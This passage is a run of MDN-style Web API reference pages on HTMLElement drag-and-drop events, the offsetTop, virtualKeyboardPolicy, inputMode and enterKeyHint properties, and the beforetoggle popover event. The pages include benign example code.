#draggable {
  text-align: center;
  background: white;
}

#container {
  width: 200px;
  height: 20px;
  background: blueviolet;
  padding: 10px;
}

.dragging {
  opacity: 0.5;
}
```

#### JavaScript

```js
const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // make it half transparent
  event.target.classList.add("dragging");
});

source.addEventListener("dragend", (event) => {
  // reset the transparency
  event.target.classList.remove("dragging");
});
```

#### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # ix-handler-ondragstart |
| HTML Standard # event-dnd-dragstart |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Other drag and drop events:
    + `drag`
    + `dragend`
    + `dragover`
    + `dragenter`
    + `dragleave`
    + `drop`


HTMLElement: offsetTop property - Web APIs

HTMLElement: offsetTop property
===============================

 The **`HTMLElement.offsetTop`** read-only property returns the
 distance from the outer border of the current element (including its margin) to the top padding edge of the `offsetParent`, the *closest positioned*
 ancestor element.

Value
-----

A number.

Examples
--------

```js
const d = document.getElementById("div1");
const topPos = d.offsetTop;

if (topPos > 10) {
  // object offset is more
  // than 10 pixels from its parent
}
```

Specifications
--------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsettop |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLElement: virtualKeyboardPolicy property - Web APIs

HTMLElement: virtualKeyboardPolicy property
===========================================

**Experimental:** **This is an experimental technology**
Check the Browser compatibility table carefully before using this in production.

The **`virtualKeyboardPolicy`** property of the `HTMLElement` interface gets and sets a string indicating the on-screen virtual keyboard behavior on devices such as tablets, mobile phones, or other devices where a hardware keyboard may not be available, if the element's content is editable (for example, it is an `<input>` or `<textarea>` element, or an element with the `contenteditable` attribute set).

It reflects the value of the `virtualkeyboardpolicy` HTML global attribute.

Value
-----

An enumerated value; possible values are:

* `"auto"` or an empty string (`""`)
    + The browser automatically shows the virtual keyboard when the user taps or focuses the element.
* `"manual"`
    + The browser does not automatically show the virtual keyboard: showing/hiding the virtual keyboard is handled manually by the script.
Examples
--------

The following example shows how to control the on-screen virtual keyboard behavior via script:

```js
const element = document.querySelector("input");

// the on-screen virtual keyboard behavior will be controlled by script manually
element.virtualKeyboardPolicy = "manual";
```

Specifications
--------------

| Specification |
| --- |
| VirtualKeyboard API # dom-elementcontenteditable-virtualkeyboardpolicy |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `virtualkeyboardpolicy` HTML global attribute


HTMLElement: drop event - Web APIs

HTMLElement: drop event
=======================

The **`drop`** event is fired when an element or text selection is dropped on a valid drop target. To ensure that the `drop` event always fires as expected, you should always include a `preventDefault()` call in the part of your code which handles the `dragover` event.

This event is cancelable and may bubble up to the `Document` and `Window` objects.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("drop", (event) => {});

ondrop = (event) => {};
```

Event type
----------

A `DragEvent`. Inherits from `Event`.

Event

UIEvent

MouseEvent

DragEventEvent properties
----------------

*In addition to the properties listed below, properties from the parent interface, `Event`, are available.*

`DragEvent.dataTransfer` Read only

The data that is transferred during a drag-and-drop interaction.

Examples
--------

### A minimal drag-and-drop example

In this example, we have a draggable element inside a container. Try grabbing the element, dragging it over the other container, and releasing it.

We use three event handlers here:

* in the `dragstart` event handler, we get a reference to the element that the user dragged
* in the `dragover` event handler for the target container, we call `event.preventDefault()`, which enables it to receive `drop` events.
* in the `drop` event handler for the drop zone, we handle moving the draggable element from the original container to the drop zone.

For a more complete example of drag and drop, see the page for the `drag` event.

#### HTML

```html
<div class="dropzone">
  <div id="draggable" draggable="true">This div is draggable</div>
</div>
<div class="dropzone" id="droptarget"></div>
```

#### CSS

```css
body {
  /\* Prevent the user from selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}
```

#### JavaScript

```js
let dragged = null;

const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // store a ref. on the dragged elem
  dragged = event.target;
});

const target = document.getElementById("droptarget");
target.addEventListener("dragover", (event) => {
  // prevent default to allow drop
  event.preventDefault();
});

target.addEventListener("drop", (event) => {
  // prevent default action (open as a link for some elements)
  event.preventDefault();
  // move dragged element to the selected drop target
  if (event.target.className === "dropzone") {
    dragged.parentNode.removeChild(dragged);
    event.target.appendChild(dragged);
  }
});
```

#### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # ix-handler-ondrop |
| HTML Standard # event-dnd-drop |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Other drag and drop events:
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragover`
    + `dragenter`
    + `dragleave`


HTMLElement: inputMode property - Web APIs

HTMLElement: inputMode property
===============================

The `HTMLElement` property **`inputMode`** reflects the value of the element's `inputmode` attribute.

It provides a hint about the type of data that might be entered by the user while editing the element or its contents. This allows the browser to display an appropriate virtual keyboard.

It is used primarily on `<input>` elements, but is usable on any element in `contenteditable` mode.

Value
-----

This attribute may have one of the following values:

`decimal`

Fractional numeric input keyboard that contains the digits and decimal separator for the user's locale (typically `.` or `,`).

`email`

 A virtual keyboard optimized for entering email addresses.
 Typically includes the `@`character as well as other optimizations.

`none`

No virtual keyboard. This is used when the page implements its own keyboard input control.

`numeric`

 Numeric input keyboard that only requires the digits 0–9.
 Devices may or may not show a minus key.

`search`

 A virtual keyboard optimized for search input.
 For instance, the return/submit key may be labeled "Search".

`tel`

A telephone keypad input that includes the digits 0–9, the asterisk (`\*`), and the pound (`#`) key.

`text`

Standard input keyboard for the user's current locale.

`url`

 A keypad optimized for entering URLs.
 This may have the `/` key more prominent, for example.

For details on the usage of this attribute, see the page for the `inputmode` HTML attribute that this property reflects.

Examples
--------

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-inputmode |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* inputmode attribute


HTMLElement: enterKeyHint property - Web APIs

HTMLElement: enterKeyHint property
==================================

 The **`enterKeyHint`** property is an enumerated property defining
 what action label (or icon) to present for the enter key on virtual keyboards.
 It reflects the `enterkeyhint`
 HTML global attribute and is an enumerated property, only accepting the following values
 as a string:

* `'enter'` typically indicating inserting a new line.
* `'done'` typically meaning there is nothing more to input and the input method editor (IME) will be closed.
* `'go'` typically meaning to take the user to the target of the text they typed.
* `'next'` typically taking the user to the next field that will accept text.
* `'previous'` typically taking the user to the previous field that will accept text.
* `'search'` typically taking the user to the results of searching for the text they have typed.
* `'send'` typically delivering the text to its target.

If no `enterKeyHint` value has been specified or if it was set to a different value than the allowed ones, it will return an empty string.

Examples
--------

Give a virtual keyboard a hint how to label the enter key (might render as `Send` and `Search`, depending on the OS or the user's language).

```js
const send = document.getElementById("sendInput");
const search = document.getElementById("searchInput");

send.enterKeyHint = "send";
search.enterKeyHint = "search";
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-enterkeyhint |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `enterkeyhint` HTML global attribute


HTMLElement: drag event - Web APIs

HTMLElement: drag event
=======================

The `drag` event is fired every few hundred milliseconds as an element or text selection is being dragged by the user.

This event is cancelable and may bubble up to the `Document` and `Window` objects.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("drag", (event) => {});

ondrag = (event) => {};
```

Event type
----------

A `DragEvent`. Inherits from `Event`.

Event

UIEvent

MouseEvent

DragEventEvent properties
----------------

*In addition to the properties listed below, properties from the parent interface, `Event`, are available.*

`DragEvent.dataTransfer` Read only

The data that is transferred during a drag and drop interaction.

Examples
--------

### Drag and drop example

#### HTML

```html
<div class="dropzone">
  <div id="draggable" draggable="true">This div is draggable</div>
</div>
<div class="dropzone" id="droptarget"></div>
```

#### CSS

```css
body {
  /\* Prevent the user selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}

.dropzone.dragover {
  background-color: purple;
}

.dragging {
  opacity: 0.5;
}
```

#### JavaScript

```js
let dragged;

/\* events fired on the draggable target \*/
const source = document.getElementById("draggable");
source.addEventListener("drag", (event) => {
  console.log("dragging");
});

source.addEventListener("dragstart", (event) => {
  // store a ref. on the dragged elem
  dragged = event.target;
  // make it half transparent
  event.target.classList.add("dragging");
});

source.addEventListener("dragend", (event) => {
  // reset the transparency
  event.target.classList.remove("dragging");
});

/\* events fired on the drop targets \*/
const target = document.getElementById("droptarget");
target.addEventListener(
  "dragover",
  (event) => {
    // prevent default to allow drop
    event.preventDefault();
  },
  false,
);

target.addEventListener("dragenter", (event) => {
  // highlight potential drop target when the draggable element enters it
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.add("dragover");
  }
});

target.addEventListener("dragleave", (event) => {
  // reset background of potential drop target when the draggable element leaves it
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
  }
});

target.addEventListener("drop", (event) => {
  // prevent default action (open as link for some elements)
  event.preventDefault();
  // move dragged element to the selected drop target
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
    event.target.appendChild(dragged);
  }
});
```

#### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # ix-handler-ondrag |
| HTML Standard # event-dnd-drag |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `dragstart`
* `dragend`
* `dragover`
* `dragenter`
* `dragleave`
* `drop`


HTMLElement: beforetoggle event - Web APIs

HTMLElement: beforetoggle event
===============================

Limited availability
--------------------

This feature is not Baseline because it does not work in some of the most widely-used browsers.

* Learn more
* See full compatibility
* Report feedback
The **`beforetoggle`** event of the `HTMLElement` interface fires on a popover element (i.e. one that has a valid `popover` attribute) just before it is shown or hidden.

* If the popover is transitioning from hidden to showing, the `event.oldState` property will be set to `closed` and the `event.newState` property will be set to `open`.
* If the popover is transitioning from showing to hidden, then `event.oldState` will be `open` and `event.newState` will be `closed`.
Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("beforetoggle", (event) => {});

onbeforetoggle = (event) => {};
```

Event type
----------

A `ToggleEvent`. Inherits from `Event`.

Event

ToggleEventExamples
--------

### Basic example

```js
const popover = document.getElementById("mypopover");

// ...

popover.addEventListener("beforetoggle", (event) => {
  if (event.newState === "open") {
    console.log("Popover is being shown");
  } else {
    console.log("Popover is being hidden");
  }
});
```

### A note on toggle event coalescing

It is worth pointing out that `beforetoggle` events are coalesced, meaning that if multiple `beforetoggle` events are fired before the event loop has a chance to cycle, only a single event will be fired.

For example:

```js
popover.addEventListener("beforetoggle", () => {
  //...
});

popover.showPopover();
popover.hidePopover();
// `beforetoggle` only fires once
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # event-beforetoggle |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `popover` HTML global attribute
* Popover API
* Related event: `toggle`